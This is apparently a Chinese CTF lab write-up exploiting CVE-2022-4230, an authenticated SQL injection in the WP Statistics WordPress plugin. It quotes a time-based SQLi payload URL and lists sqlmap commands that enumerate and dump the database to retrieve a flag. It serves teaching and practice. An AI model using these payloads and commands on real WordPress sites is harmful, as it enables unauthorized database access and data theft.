CVE-2022-4230

打开什么都没有

使用dirsearch扫描到一个wp-admin

访问wp-admin是一个登陆页面

账号密码都在标题中

登陆后是这个页面

在WP Statistics < 13.2.9 -- 经过身份验证的 SQLi |CVE 2022-4230 |插件漏洞 (wpscan.com)中,里边有一段对漏洞的描述。

https://wpscan.com/vulnerability/a0e40cfd-b217-481c-8fc4-027a0a023312/

Log in as a user allowed to View WP Statistic and get a nonce via

https://example.com/wp-admin/admin-ajax.php?action=rest-nonce, and use it in the URL below, which will be delayed by 5s:

http://example.com/wp-json/wp-statistics/v2/metabox?_wpnonce=NONCE\&name=words\&search_engine=aaa' AND (SELECT 5671 FROM (SELECT(SLEEP(5)))Mdgs)--%20HsBR

翻译一下就是

以允许查看WP统计信息的用户身份登录,并通过获取随机数

https://example.com/wp-admin/admin-ajax.php?action=rest-nonce

并在下面的URL中使用它,该URL将延迟5s

首先通过访问(必须要先登录过后台才行)

访问admin-ajax.php?action=rest-nonce

获得随机数706973b8cb

用浏览器访问,查看一下效果,其中 _wpnonce 的值是上面刚刚获取的随机数

访问:

wp-json/wp-statistics/v2/metabox?_wpnonce=63d5d76be3&name=words&search_engine=aaa

使用bp抓包,右键复制文件到本地

使用sqlmap,爆数据库

Python sqlmap.py -r 保存的文件名 --batch -dbs

爆出来四个库,其中的wordpress库很可疑

爆表

Python sqlmap.py -r 1.txt(保存的文件名) -D wordpress(库名) --tables --batch

爆字段

sqlmap -r 1.txt(保存的文件名) --batch -D wordpress(库名) -T flag(表名) --columns

爆字段数据

Python sqlmap.py -r 1.txt(保存的文件名) --batch

-D wordpress(库名) -T flag(表名) -C flag(字段名) --dump

或者直接省略爆字段名和字段数据直接使用下边的,知道表名就可以得出flag

python sqlmap.py -r 1.txt(保存的文件名) -D atomcms(库名) -T flag(表名) --dump -v --batch

相关推荐
ftpeak8 小时前
从零开始使用 axum-server 构建 HTTP/HTTPS 服务
网络·http·https·rust·web·web app
fanged17 小时前
Cesium4--地形(OSGB到3DTiles)
3d·gis·web
三角叶蕨1 天前
javaweb CSS
css·web
OEC小胖胖1 天前
App Router vs. Pages Router:我应该如何选择?
开发语言·前端·前端框架·web·next.js
脑子慢且灵2 天前
[JavaWeb]模拟一个简易的Tomcat服务(Servlet注解)
java·后端·servlet·tomcat·intellij-idea·web
虚伪的空想家4 天前
K8S的dashboard部署与访问
云原生·容器·kubernetes·k8s·web·dashboard
脑子慢且灵5 天前
【JavaWeb】一个简单的Web浏览服务程序
java·前端·后端·servlet·tomcat·web·javaee
诗人不说梦^5 天前
[RootersCTF2019]I_<3_Flask
web·ctf
OEC小胖胖7 天前
Next.js数据获取入门:`getStaticProps` 与 `getServerSideProps`
前端·前端框架·web·next.js
借你耳朵说爱你8 天前
浅拷贝和深拷贝两种不同的对象复制
vue·web